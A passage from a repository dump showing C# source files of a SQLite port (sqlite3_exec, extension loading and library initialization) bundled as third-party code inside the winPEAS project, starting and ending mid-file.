to be executed */ sqlite3_callback xCallback, /* Invoke this callback routine */ object pArg, /* First argument to xCallback() */ int NoErrors ) { string Errors = ""; return sqlite3_exec( db, zSql, xCallback, pArg, ref Errors ); } public static int sqlite3_exec( sqlite3 db, /* The database on which the SQL executes */ string zSql, /* The SQL to be executed */ sqlite3_callback xCallback, /* Invoke this callback routine */ object pArg, /* First argument to xCallback() */ ref string pzErrMsg /* Write error messages here */ ) { int rc = SQLITE_OK; /* Return code */ string zLeftover = ""; /* Tail of unprocessed SQL */ sqlite3_stmt pStmt = null; /* The current SQL statement */ string[] azCols = null; /* Names of result columns */ int nRetry = 0; /* Number of retry attempts */ int callbackIsInit; /* True if callback data is initialized */ if ( zSql == null ) zSql = ""; sqlite3_mutex_enter( db.mutex ); sqlite3Error( db, SQLITE_OK, 0 ); while ( ( rc == SQLITE_OK || ( rc == SQLITE_SCHEMA && ( ++nRetry ) < 2 ) ) && zSql != "" ) { int nCol; string[] azVals = null; pStmt = null; rc = sqlite3_prepare( db, zSql, -1, ref pStmt, ref zLeftover ); Debug.Assert( rc == SQLITE_OK || pStmt == null ); if ( rc != SQLITE_OK ) { continue; } if ( pStmt == null ) { /* this happens for a comment or white-space */ zSql = zLeftover; continue; } callbackIsInit = 0; nCol = sqlite3_column_count( pStmt ); while ( true ) { int i; rc = sqlite3_step( pStmt ); /* Invoke the callback function if required */ if ( xCallback != null && ( SQLITE_ROW == rc || ( SQLITE_DONE == rc && callbackIsInit == 0 && ( db.flags & SQLITE_NullCallback ) != 0 ) ) ) { if ( 0 == callbackIsInit ) { azCols = new string[nCol];//sqlite3DbMallocZero(db, 2*nCol*sizeof(const char*) + 1); if ( azCols == null ) { goto exec_out; } for ( i = 0 ; i < nCol ; i++ ) { azCols[i] = sqlite3_column_name( pStmt, i ); /* sqlite3VdbeSetColName() installs column names as UTF8 ** strings so there is no way for sqlite3_column_name() to fail. */ Debug.Assert( azCols[i] != null ); } callbackIsInit = 1; } if ( rc == SQLITE_ROW ) { azVals = new string[nCol];// azCols[nCol]; for ( i = 0 ; i < nCol ; i++ ) { azVals[i] = sqlite3_column_text( pStmt, i ); if ( azVals[i] == null && sqlite3_column_type( pStmt, i ) != SQLITE_NULL ) { //// db.mallocFailed = 1; goto exec_out; } } } if ( xCallback( pArg, nCol, azVals, azCols ) != 0 ) { rc = SQLITE_ABORT; sqlite3VdbeFinalize( pStmt ); pStmt = null; sqlite3Error( db, SQLITE_ABORT, 0 ); goto exec_out; } } if ( rc != SQLITE_ROW ) { rc = sqlite3VdbeFinalize( pStmt ); pStmt = null; if ( rc != SQLITE_SCHEMA ) { nRetry = 0; if ( ( zSql = zLeftover ) != "" ) { int zindex = 0; while ( zindex < zSql.Length && sqlite3Isspace( zSql[zindex] ) ) zindex++; if ( zindex != 0 ) zSql = zindex < zSql.Length ? zSql.Substring( zindex ) : ""; } } break; } } //sqlite3DbFree( db, ref azCols ); azCols = null; } exec_out: if ( pStmt != null ) sqlite3VdbeFinalize( pStmt ); //sqlite3DbFree( db, ref azCols ); rc = sqlite3ApiExit( db, rc ); if ( rc != SQLITE_OK && ALWAYS( rc == sqlite3_errcode( db ) ) && pzErrMsg != null ) { //int nErrMsg = 1 + sqlite3Strlen30(sqlite3_errmsg(db)); //pzErrMsg = sqlite3Malloc(nErrMsg); //if (pzErrMsg) //{ // memcpy(pzErrMsg, sqlite3_errmsg(db), nErrMsg); //}else{ //rc = SQLITE_NOMEM; //sqlite3Error(db, SQLITE_NOMEM, 0); //} pzErrMsg = sqlite3_errmsg( db ); } else if ( pzErrMsg != "" ) { pzErrMsg = ""; } Debug.Assert( ( rc & db.errMask ) == rc ); sqlite3_mutex_leave( db.mutex ); return rc; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/loadext_c.cs ================================================ using System; using System.Diagnostics; using HANDLE = System.IntPtr; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2006 June 7 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains code used to dynamically load extensions into ** the SQLite library. ** ** $Id: loadext.c,v 1.60 2009/06/03 01:24:54 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ #if !SQLITE_CORE //#define SQLITE_CORE 1 /* Disable the API redefinition in sqlite3ext.h */ const int SQLITE_CORE = 1; #endif //#include "sqlite3ext.h" //#include "sqliteInt.h" //#include #if !SQLITE_OMIT_LOAD_EXTENSION /* ** Some API routines are omitted when various features are ** excluded from a build of SQLite. Substitute a NULL pointer ** for any missing APIs. */ #if !SQLITE_ENABLE_COLUMN_METADATA //# define sqlite3_column_database_name 0 //# define sqlite3_column_database_name16 0 //# define sqlite3_column_table_name 0 //# define sqlite3_column_table_name16 0 //# define sqlite3_column_origin_name 0 //# define sqlite3_column_origin_name16 0 //# define sqlite3_table_column_metadata 0 #endif #if SQLITE_OMIT_AUTHORIZATION //# define sqlite3_set_authorizer 0 #endif #if SQLITE_OMIT_UTF16 //# define sqlite3_bind_text16 0 //# define sqlite3_collation_needed16 0 //# define sqlite3_column_decltype16 0 //# define sqlite3_column_name16 0 //# define sqlite3_column_text16 0 //# define sqlite3_complete16 0 //# define sqlite3_create_collation16 0 //# define sqlite3_create_function16 0 //# define sqlite3_errmsg16 0 static string sqlite3_errmsg16( sqlite3 db ) { return ""; } //# define sqlite3_open16 0 //# define sqlite3_prepare16 0 //# define sqlite3_prepare16_v2 0 //# define sqlite3_result_error16 0 //# define sqlite3_result_text16 0 static void sqlite3_result_text16( sqlite3_context pCtx, string z, int n, dxDel xDel ) { } //# define sqlite3_result_text16be 0 //# define sqlite3_result_text16le 0 //# define sqlite3_value_text16 0 //# define sqlite3_value_text16be 0 //# define sqlite3_value_text16le 0 //# define sqlite3_column_database_name16 0 //# define sqlite3_column_table_name16 0 //# define sqlite3_column_origin_name16 0 #endif #if SQLITE_OMIT_COMPLETE //# define sqlite3_complete 0 //# define sqlite3_complete16 0 #endif #if SQLITE_OMIT_PROGRESS_CALLBACK //# define sqlite3_progress_handler 0 static void sqlite3_progress_handler (sqlite3 db, int nOps, dxProgress xProgress, object pArg){} #endif #if SQLITE_OMIT_VIRTUALTABLE //# define sqlite3_create_module 0 //# define sqlite3_create_module_v2 0 //# define sqlite3_declare_vtab 0 #endif #if SQLITE_OMIT_SHARED_CACHE //# define sqlite3_enable_shared_cache 0 #endif #if SQLITE_OMIT_TRACE //# define sqlite3_profile 0 //# define sqlite3_trace 0 #endif #if SQLITE_OMIT_GET_TABLE //# define //sqlite3_free_table 0 //# define sqlite3_get_table 0 public static int sqlite3_get_table( sqlite3 db, /* An open database */ string zSql, /* SQL to be evaluated */ ref string[] pazResult, /* Results of the query */ ref int pnRow, /* Number of result rows written here */ ref int pnColumn, /* Number of result columns written here */ ref string pzErrmsg /* Error msg written here */ ) { return 0; } #endif #if SQLITE_OMIT_INCRBLOB //#define sqlite3_bind_zeroblob 0 //#define sqlite3_blob_bytes 0 //#define sqlite3_blob_close 0 //#define sqlite3_blob_open 0 //#define sqlite3_blob_read 0 //#define sqlite3_blob_write 0 #endif /* ** The following structure contains pointers to all SQLite API routines. ** A pointer to this structure is passed into extensions when they are ** loaded so that the extension can make calls back into the SQLite ** library. ** ** When adding new APIs, add them to the bottom of this structure ** in order to preserve backwards compatibility. ** ** Extensions that use newer APIs should first call the ** sqlite3_libversion_number() to make sure that the API they ** intend to use is supported by the library. Extensions should ** also check to make sure that the pointer to the function is ** not NULL before calling it. */ static sqlite3_api_routines sqlite3Apis = new sqlite3_api_routines(); //{ // sqlite3_aggregate_context, #if !SQLITE_OMIT_DEPRECATED / sqlite3_aggregate_count, #else // 0, #endif // sqlite3_bind_blob, // sqlite3_bind_double, // sqlite3_bind_int, // sqlite3_bind_int64, // sqlite3_bind_null, // sqlite3_bind_parameter_count, // sqlite3_bind_parameter_index, // sqlite3_bind_parameter_name, // sqlite3_bind_text, // sqlite3_bind_text16, // sqlite3_bind_value, // sqlite3_busy_handler, // sqlite3_busy_timeout, // sqlite3_changes, // sqlite3_close, // sqlite3_collation_needed, // sqlite3_collation_needed16, // sqlite3_column_blob, // sqlite3_column_bytes, // sqlite3_column_bytes16, // sqlite3_column_count, // sqlite3_column_database_name, // sqlite3_column_database_name16, // sqlite3_column_decltype, // sqlite3_column_decltype16, // sqlite3_column_double, // sqlite3_column_int, // sqlite3_column_int64, // sqlite3_column_name, // sqlite3_column_name16, // sqlite3_column_origin_name, // sqlite3_column_origin_name16, // sqlite3_column_table_name, // sqlite3_column_table_name16, // sqlite3_column_text, // sqlite3_column_text16, // sqlite3_column_type, // sqlite3_column_value, // sqlite3_commit_hook, // sqlite3_complete, // sqlite3_complete16, // sqlite3_create_collation, // sqlite3_create_collation16, // sqlite3_create_function, // sqlite3_create_function16, // sqlite3_create_module, // sqlite3_data_count, // sqlite3_db_handle, // sqlite3_declare_vtab, // sqlite3_enable_shared_cache, // sqlite3_errcode, // sqlite3_errmsg, // sqlite3_errmsg16, // sqlite3_exec, #if !SQLITE_OMIT_DEPRECATED //sqlite3_expired, #else //0, #endif // sqlite3_finalize, // //sqlite3_free, // //sqlite3_free_table, // sqlite3_get_autocommit, // sqlite3_get_auxdata, // sqlite3_get_table, // 0, /* Was sqlite3_global_recover(), but that function is deprecated */ // sqlite3_interrupt, // sqlite3_last_insert_rowid, // sqlite3_libversion, // sqlite3_libversion_number, // sqlite3_malloc, // sqlite3_mprintf, // sqlite3_open, // sqlite3_open16, // sqlite3_prepare, // sqlite3_prepare16, // sqlite3_profile, // sqlite3_progress_handler, // sqlite3_realloc, // sqlite3_reset, // sqlite3_result_blob, // sqlite3_result_double, // sqlite3_result_error, // sqlite3_result_error16, // sqlite3_result_int, // sqlite3_result_int64, // sqlite3_result_null, // sqlite3_result_text, // sqlite3_result_text16, // sqlite3_result_text16be, // sqlite3_result_text16le, // sqlite3_result_value, // sqlite3_rollback_hook, // sqlite3_set_authorizer, // sqlite3_set_auxdata, // sqlite3_snprintf, // sqlite3_step, // sqlite3_table_column_metadata, #if !SQLITE_OMIT_DEPRECATED //sqlite3_thread_cleanup, #else // 0, #endif // sqlite3_total_changes, // sqlite3_trace, #if !SQLITE_OMIT_DEPRECATED //sqlite3_transfer_bindings, #else // 0, #endif // sqlite3_update_hook, // sqlite3_user_data, // sqlite3_value_blob, // sqlite3_value_bytes, // sqlite3_value_bytes16, // sqlite3_value_double, // sqlite3_value_int, // sqlite3_value_int64, // sqlite3_value_numeric_type, // sqlite3_value_text, // sqlite3_value_text16, // sqlite3_value_text16be, // sqlite3_value_text16le, // sqlite3_value_type, // sqlite3_vmprintf, // /* // ** The original API set ends here. All extensions can call any // ** of the APIs above provided that the pointer is not NULL. But // ** before calling APIs that follow, extension should check the // ** sqlite3_libversion_number() to make sure they are dealing with // ** a library that is new enough to support that API. // ************************************************************************* // */ // sqlite3_overload_function, // /* // ** Added after 3.3.13 // */ // sqlite3_prepare_v2, // sqlite3_prepare16_v2, // sqlite3_clear_bindings, // /* // ** Added for 3.4.1 // */ // sqlite3_create_module_v2, // /* // ** Added for 3.5.0 // */ // sqlite3_bind_zeroblob, // sqlite3_blob_bytes, // sqlite3_blob_close, // sqlite3_blob_open, // sqlite3_blob_read, // sqlite3_blob_write, // sqlite3_create_collation_v2, // sqlite3_file_control, // sqlite3_memory_highwater, // sqlite3_memory_used, #if SQLITE_MUTEX_OMIT // 0, // 0, // 0, // 0, // 0, #else // sqlite3MutexAlloc, // sqlite3_mutex_enter, // sqlite3_mutex_free, // sqlite3_mutex_leave, // sqlite3_mutex_try, #endif // sqlite3_open_v2, // sqlite3_release_memory, // sqlite3_result_error_nomem, // sqlite3_result_error_toobig, // sqlite3_sleep, // sqlite3_soft_heap_limit, // sqlite3_vfs_find, // sqlite3_vfs_register, // sqlite3_vfs_unregister, // /* // ** Added for 3.5.8 // */ // sqlite3_threadsafe, // sqlite3_result_zeroblob, // sqlite3_result_error_code, // sqlite3_test_control, // sqlite3_randomness, // sqlite3_context_db_handle, // /* // ** Added for 3.6.0 // */ // sqlite3_extended_result_codes, // sqlite3_limit, // sqlite3_next_stmt, // sqlite3_sql, // sqlite3_status, //}; /* ** Attempt to load an SQLite extension library contained in the file ** zFile. The entry point is zProc. zProc may be 0 in which case a ** default entry point name (sqlite3_extension_init) is used. Use ** of the default name is recommended. ** ** Return SQLITE_OK on success and SQLITE_ERROR if something goes wrong. ** ** If an error occurs and pzErrMsg is not 0, then fill pzErrMsg with ** error message text. The calling function should free this memory ** by calling //sqlite3DbFree(db, ). */ static int sqlite3LoadExtension( sqlite3 db, /* Load the extension into this database connection */ string zFile, /* Name of the shared library containing extension */ string zProc, /* Entry point. Use "sqlite3_extension_init" if 0 */ ref string pzErrMsg /* Put error message here if not 0 */ ) { sqlite3_vfs pVfs = db.pVfs; HANDLE handle; dxInit xInit; //int (*xInit)(sqlite3*,char**,const sqlite3_api_routines*); string zErrmsg = ""; //object aHandle; const int nMsg = 300; if ( pzErrMsg != null ) pzErrMsg = null; /* Ticket #1863. To avoid a creating security problems for older ** applications that relink against newer versions of SQLite, the ** ability to run load_extension is turned off by default. One ** must call sqlite3_enable_load_extension() to turn on extension ** loading. Otherwise you get the following error. */ if ( ( db.flags & SQLITE_LoadExtension ) == 0 ) { //if( pzErrMsg != null){ pzErrMsg = sqlite3_mprintf( "not authorized" ); //} return SQLITE_ERROR; } if ( zProc == null || zProc == "" ) { zProc = "sqlite3_extension_init"; } handle = sqlite3OsDlOpen( pVfs, zFile ); if ( handle == IntPtr.Zero ) { // if( pzErrMsg ){ zErrmsg = "";//zErrmsg = sqlite3StackAllocZero(db, nMsg); //if( zErrmsg !=null){ sqlite3_snprintf( nMsg, ref zErrmsg, "unable to open shared library [%s]", zFile ); sqlite3OsDlError( pVfs, nMsg - 1, ref zErrmsg ); pzErrMsg = zErrmsg;// sqlite3DbStrDup( 0, zErrmsg ); //sqlite3StackFree( db, zErrmsg ); //} return SQLITE_ERROR; } //xInit = (int(*)(sqlite3*,char**,const sqlite3_api_routines*)) // sqlite3OsDlSym(pVfs, handle, zProc); xInit = (dxInit)sqlite3OsDlSym( pVfs, handle, ref zProc ); Debugger.Break(); // TODO -- //if( xInit==0 ){ // if( pzErrMsg ){ // zErrmsg = sqlite3StackAllocZero(db, nMsg); // if( zErrmsg ){ // sqlite3_snprintf(nMsg, zErrmsg, // "no entry point [%s] in shared library [%s]", zProc,zFile); // sqlite3OsDlError(pVfs, nMsg-1, zErrmsg); // *pzErrMsg = sqlite3DbStrDup(0, zErrmsg); // //sqlite3StackFree(db, zErrmsg); // } // sqlite3OsDlClose(pVfs, handle); // } // return SQLITE_ERROR; // }else if( xInit(db, ref zErrmsg, sqlite3Apis) ){ //// if( pzErrMsg !=null){ // pzErrMsg = sqlite3_mprintf("error during initialization: %s", zErrmsg); // //} // //sqlite3DbFree(db,ref zErrmsg); // sqlite3OsDlClose(pVfs, ref handle); // return SQLITE_ERROR; // } // /* Append the new shared library handle to the db.aExtension array. */ // aHandle = sqlite3DbMallocZero(db, sizeof(handle)*db.nExtension+1); // if( aHandle==null ){ // return SQLITE_NOMEM; // } // if( db.nExtension>0 ){ // memcpy(aHandle, db.aExtension, sizeof(handle)*(db.nExtension)); // } // //sqlite3DbFree(db,ref db.aExtension); // db.aExtension = aHandle; // db.aExtension[db.nExtension++] = handle; return SQLITE_OK; } public static int sqlite3_load_extension( sqlite3 db, /* Load the extension into this database connection */ string zFile, /* Name of the shared library containing extension */ string zProc, /* Entry point. Use "sqlite3_extension_init" if 0 */ ref string pzErrMsg /* Put error message here if not 0 */ ) { int rc; sqlite3_mutex_enter( db.mutex ); rc = sqlite3LoadExtension( db, zFile, zProc, ref pzErrMsg ); rc = sqlite3ApiExit( db, rc ); sqlite3_mutex_leave( db.mutex ); return rc; } /* ** Call this routine when the database connection is closing in order ** to clean up loaded extensions */ static void sqlite3CloseExtensions( sqlite3 db ) { int i; Debug.Assert( sqlite3_mutex_held( db.mutex ) ); for ( i = 0 ; i < db.nExtension ; i++ ) { sqlite3OsDlClose( db.pVfs, (HANDLE)db.aExtension[i] ); } //sqlite3DbFree( db, ref db.aExtension ); } /* ** Enable or disable extension loading. Extension loading is disabled by ** default so as not to open security holes in older applications. */ public static int sqlite3_enable_load_extension( sqlite3 db, int onoff ) { sqlite3_mutex_enter( db.mutex ); if ( onoff != 0 ) { db.flags |= SQLITE_LoadExtension; } else { db.flags &= ~SQLITE_LoadExtension; } sqlite3_mutex_leave( db.mutex ); return SQLITE_OK; } #endif //* SQLITE_OMIT_LOAD_EXTENSION */ /* ** The auto-extension code added regardless of whether or not extension ** loading is supported. We need a dummy sqlite3Apis pointer for that ** code if regular extension loading is not available. This is that ** dummy pointer. */ #if SQLITE_OMIT_LOAD_EXTENSION const sqlite3_api_routines sqlite3Apis = null; #endif /* ** The following object holds the list of automatically loaded ** extensions. ** ** This list is shared across threads. The SQLITE_MUTEX_STATIC_MASTER ** mutex must be held while accessing this list. */ //typedef struct sqlite3AutoExtList sqlite3AutoExtList; public class sqlite3AutoExtList { public int nExt = 0; /* Number of entries in aExt[] */ public dxInit[] aExt = null; /* Pointers to the extension init functions */ public sqlite3AutoExtList( int nExt, dxInit[] aExt ) { this.nExt = nExt; this.aExt = aExt; } } static sqlite3AutoExtList sqlite3Autoext = new sqlite3AutoExtList( 0, null ); /* The "wsdAutoext" macro will resolve to the autoextension ** state vector. If writable static data is unsupported on the target, ** we have to locate the state vector at run-time. In the more common ** case where writable static data is supported, wsdStat can refer directly ** to the "sqlite3Autoext" state vector declared above. */ #if SQLITE_OMIT_WSD //# define wsdAutoextInit \ sqlite3AutoExtList *x = &GLOBAL(sqlite3AutoExtList,sqlite3Autoext) //# define wsdAutoext x[0] #else //# define wsdAutoextInit static void wsdAutoextInit() { } //# define wsdAutoext sqlite3Autoext static sqlite3AutoExtList wsdAutoext = sqlite3Autoext; #endif /* ** Register a statically linked extension that is automatically ** loaded by every new database connection. */ static int sqlite3_auto_extension( dxInit xInit ) { int rc = SQLITE_OK; #if !SQLITE_OMIT_AUTOINIT rc = sqlite3_initialize(); if ( rc != 0 ) { return rc; } else #endif { int i; #if SQLITE_THREADSAFE sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); #else sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); // Need this since mutex_enter & leave are not MACROS under C# #endif wsdAutoextInit(); sqlite3_mutex_enter( mutex ); for ( i = 0 ; i < wsdAutoext.nExt ; i++ ) { if ( wsdAutoext.aExt[i] == xInit ) break; } //if( i==wsdAutoext.nExt ){ // int nByte = (wsdAutoext.nExt+1)*sizeof(wsdAutoext.aExt[0]); // void **aNew; // aNew = sqlite3_realloc(wsdAutoext.aExt, nByte); // if( aNew==0 ){ // rc = SQLITE_NOMEM; // }else{ Array.Resize( ref wsdAutoext.aExt, wsdAutoext.nExt + 1 );// wsdAutoext.aExt = aNew; wsdAutoext.aExt[wsdAutoext.nExt] = xInit; wsdAutoext.nExt++; //} sqlite3_mutex_leave( mutex ); Debug.Assert( ( rc & 0xff ) == rc ); return rc; } } /* ** Reset the automatic extension loading mechanism. */ static void sqlite3_reset_auto_extension() { #if !SQLITE_OMIT_AUTOINIT if ( sqlite3_initialize() == SQLITE_OK ) #endif { #if SQLITE_THREADSAFE sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); #else sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); // Need this since mutex_enter & leave are not MACROS under C# #endif wsdAutoextInit(); sqlite3_mutex_enter( mutex ); #if SQLITE_OMIT_WSD //sqlite3_free( ref wsdAutoext.aExt ); wsdAutoext.aExt = null; wsdAutoext.nExt = 0; #else //sqlite3_free( ref sqlite3Autoext.aExt ); sqlite3Autoext.aExt = null; sqlite3Autoext.nExt = 0; #endif sqlite3_mutex_leave( mutex ); } } /* ** Load all automatic extensions. ** ** If anything goes wrong, set an error in the database connection. */ static void sqlite3AutoLoadExtensions( sqlite3 db ) { int i; bool go = true; dxInit xInit;//)(sqlite3*,char**,const sqlite3_api_routines*); wsdAutoextInit(); #if SQLITE_OMIT_WSD if ( wsdAutoext.nExt == 0 ) #else if ( sqlite3Autoext.nExt == 0 ) #endif { /* Common case: early out without every having to acquire a mutex */ return; } for ( i = 0 ; go ; i++ ) { string zErrmsg = ""; #if SQLITE_THREADSAFE sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); #else sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); // Need this since mutex_enter & leave are not MACROS under C# #endif sqlite3_mutex_enter( mutex ); if ( i >= wsdAutoext.nExt ) { xInit = null; go = false; } else { xInit = (dxInit) wsdAutoext.aExt[i]; } sqlite3_mutex_leave( mutex ); zErrmsg = ""; if ( xInit != null && xInit( db, ref zErrmsg, (sqlite3_api_routines)sqlite3Apis ) != 0 ) { sqlite3Error( db, SQLITE_ERROR, "automatic extension loading failed: %s", zErrmsg ); go = false; } //sqlite3DbFree( db, ref zErrmsg ); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/main_c.cs ================================================ using System; using System.Diagnostics; using sqlite_int64 = System.Int64; using unsigned = System.Int32; using i16 = System.Int16; using u8 = System.Byte; using u32 = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** Main file for the SQLite library. The routines in this file ** implement the programmer interface to the library. Routines in ** other files are for internal use by SQLite and should not be ** accessed by users of the library. ** ** $Id: main.c,v 1.562 2009/07/20 11:32:03 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" #if SQLITE_ENABLE_FTS3 //# include "fts3.h" #endif #if SQLITE_ENABLE_RTREE //# include "rtree.h" #endif #if SQLITE_ENABLE_ICU //# include "sqliteicu.h" #endif /* ** The version of the library */ #if !SQLITE_AMALGAMATION public static string sqlite3_version = SQLITE_VERSION; #endif public static string sqlite3_libversion() { return sqlite3_version; } public static int sqlite3_libversion_number() { return SQLITE_VERSION_NUMBER; } public static int sqlite3_threadsafe() { return SQLITE_THREADSAFE; } #if !SQLITE_OMIT_TRACE && SQLITE_ENABLE_IOTRACE /* ** If the following function pointer is not NULL and if ** SQLITE_ENABLE_IOTRACE is enabled, then messages describing ** I/O active are written using this function. These messages ** are intended for debugging activity only. */ //void (*sqlite3IoTrace)(const char*, ...) = 0; static void sqlite3IoTrace( string X, params object[] ap ) { } #endif /* ** If the following global variable points to a string which is the ** name of a directory, then that directory will be used to store ** temporary files. ** ** See also the "PRAGMA temp_store_directory" SQL command. */ static string sqlite3_temp_directory = "";//char *sqlite3_temp_directory = 0; /* ** Initialize SQLite. ** ** This routine must be called to initialize the memory allocation, ** VFS, and mutex subsystems prior to doing any serious work with ** SQLite. But as long as you do not compile with SQLITE_OMIT_AUTOINIT ** this routine will be called automatically by key routines such as ** sqlite3_open(). ** ** This routine is a no-op except on its very first call for the process, ** or for the first call after a call to sqlite3_shutdown. ** ** The first thread to call this routine runs the initialization to ** completion. If subsequent threads call this routine before the first ** thread has finished the initialization process, then the subsequent ** threads must block until the first thread finishes with the initialization. ** ** The first thread might call this routine recursively. Recursive ** calls to this routine should not block, of course. Otherwise the ** initialization process would never complete. ** ** Let X be the first thread to enter this routine. Let Y be some other ** thread. Then while the initial invocation of this routine by X is ** incomplete, it is required that: ** ** * Calls to this routine from Y must block until the outer-most ** call by X completes. ** ** * Recursive calls to this routine from thread X return immediately ** without blocking. */ static int sqlite3_initialize() { //-------------------------------------------------------------------- // Under C#, Need to initialize some global structures // if ( opcodeProperty == null ) opcodeProperty = OPFLG_INITIALIZER; if ( sqlite3GlobalConfig == null ) sqlite3GlobalConfig = sqlite3Config; if ( UpperToLower == null ) UpperToLower = sqlite3UpperToLower; //-------------------------------------------------------------------- sqlite3_mutex pMaster; /* The main static mutex */ int rc; /* Result code */ #if SQLITE_OMIT_WSD rc = sqlite3_wsd_init(4096, 24); if( rc!=SQLITE_OK ){ return rc; } #endif /* If SQLite is already completely initialized, then this call ** to sqlite3_initialize() should be a no-op. But the initialization ** must be complete. So isInit must not be set until the very end ** of this routine. */ if ( sqlite3GlobalConfig.isInit != 0 ) return SQLITE_OK; /* Make sure the mutex subsystem is initialized. If unable to ** initialize the mutex subsystem, return early with the error. ** If the system is so sick that we are unable to allocate a mutex, ** there is not much SQLite is going to be able to do. ** ** The mutex subsystem must take care of serializing its own ** initialization. */ rc = sqlite3MutexInit(); if ( rc != 0 ) return rc; /* Initialize the malloc() system and the recursive pInitMutex mutex. ** This operation is protected by the STATIC_MASTER mutex. Note that ** MutexAlloc() is called for a static mutex prior to initializing the ** malloc subsystem - this implies that the allocation of a static ** mutex must not require support from the malloc subsystem. */ pMaster = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); sqlite3_mutex_enter( pMaster ); if ( sqlite3GlobalConfig.isMallocInit == 0 ) { //rc = sqlite3MallocInit(); } if ( rc == SQLITE_OK ) { sqlite3GlobalConfig.isMallocInit = 1; if ( sqlite3GlobalConfig.pInitMutex == null ) { sqlite3GlobalConfig.pInitMutex = sqlite3MutexAlloc( SQLITE_MUTEX_RECURSIVE ); if ( sqlite3GlobalConfig.bCoreMutex && sqlite3GlobalConfig.pInitMutex == null ) { rc = SQLITE_NOMEM; } } } if ( rc == SQLITE_OK ) { sqlite3GlobalConfig.nRefInitMutex++; } sqlite3_mutex_leave( pMaster ); /* If unable to initialize the malloc subsystem, then return early. ** There is little hope of getting SQLite to run if the malloc ** subsystem cannot be initialized. */ if ( rc != SQLITE_OK ) { return rc; } /* Do the rest of the initialization under the recursive mutex so ** that we will be able to handle recursive calls into ** sqlite3_initialize(). The recursive calls normally come through ** sqlite3_os_init() when it invokes sqlite3_vfs_register(), but other ** recursive calls might also be possible. */ sqlite3_mutex_enter( sqlite3GlobalConfig.pInitMutex ); if ( sqlite3GlobalConfig.isInit == 0 && sqlite3GlobalConfig.inProgress == 0 ) { sqlite3GlobalConfig.inProgress = 1; #if SQLITE_OMIT_WSD FuncDefHash *pHash = &GLOBAL(FuncDefHash, sqlite3GlobalFunctions); memset( pHash, 0, sizeof( sqlite3GlobalFunctions ) ); #else sqlite3GlobalFunctions = new FuncDefHash(); FuncDefHash pHash = sqlite3GlobalFunctions; #endif sqlite3RegisterGlobalFunctions(); rc = sqlite3PcacheInitialize(); if ( rc == SQLITE_OK ) { rc = sqlite3_os_init(); } if ( rc == SQLITE_OK ) { sqlite3PCacheBufferSetup( sqlite3GlobalConfig.pPage, sqlite3GlobalConfig.szPage, sqlite3GlobalConfig.nPage ); sqlite3GlobalConfig.isInit = 1; } sqlite3GlobalConfig.inProgress = 0; } sqlite3_mutex_leave( sqlite3GlobalConfig.pInitMutex ); /* Go back under the static mutex and clean up the recursive ** mutex to prevent a resource leak. */ sqlite3_mutex_enter( pMaster ); sqlite3GlobalConfig.nRefInitMutex--; if ( sqlite3GlobalConfig.nRefInitMutex <= 0 ) { Debug.Assert( sqlite3GlobalConfig.nRefInitMutex == 0 ); sqlite3_mutex_free( ref sqlite3GlobalConfig.pInitMutex ); sqlite3GlobalConfig.pInitMutex = null; } sqlite3_mutex_leave( pMaster ); /* The following is just a sanity check to make sure SQLite has ** been compiled correctly. It is important to run this code, but ** we don't want to run it too often and soak up CPU cycles for no ** reason. So we run it once during initialization. */ #if !NDEBUG #if !SQLITE_OMIT_FLOATING_POINT /* This section of code's only "output" is via Debug.Assert() statements. */ if ( rc == SQLITE_OK ) { //u64 x = ( ( (u64)1 ) << 63 ) - 1; //double y; //Debug.Assert( sizeof( u64 ) == 8 ); //Debug.Assert( sizeof( u64 ) == sizeof( double ) ); //memcpy( &y, x, 8 ); //Debug.Assert( sqlite3IsNaN( y ) ); } #endif #endif return rc; } /* ** Undo the effects of sqlite3_initialize(). Must not be called while ** there are outstanding database connections or memory allocations or ** while any part of SQLite is otherwise in use in any thread. This ** routine is not threadsafe. But it is safe to invoke this routine ** on when SQLite is already shut down. If SQLite is already shut down ** when this routine is invoked, then this routine is a harmless no-op. */ static int sqlite3_shutdown() { if ( sqlite3GlobalConfig.isInit != 0 ) { sqlite3GlobalConfig.isMallocInit = 0; sqlite3PcacheShutdown(); sqlite3_os_end(); sqlite3_reset_auto_extension(); //sqlite3MallocEnd(); sqlite3MutexEnd(); sqlite3GlobalConfig.isInit = 0; } return SQLITE_OK; } /* ** This API allows applications to modify the global configuration of ** the SQLite library at run-time. ** ** This routine should only be called when there are no outstanding ** database connections or memory allocations. This routine is not ** threadsafe. Failure to heed these warnings can lead to unpredictable ** behavior. */ // Overloads for ap assignments static int sqlite3_config( int op, sqlite3_pcache_methods ap ) { // va_list ap; int rc = SQLITE_OK; switch ( op ) { case SQLITE_CONFIG_PCACHE: { /* Specify an alternative malloc implementation */ sqlite3GlobalConfig.pcache = ap; //sqlite3GlobalConfig.pcache = (sqlite3_pcache_methods)va_arg(ap, "sqlite3_pcache_methods"); break; } } return rc; } static int 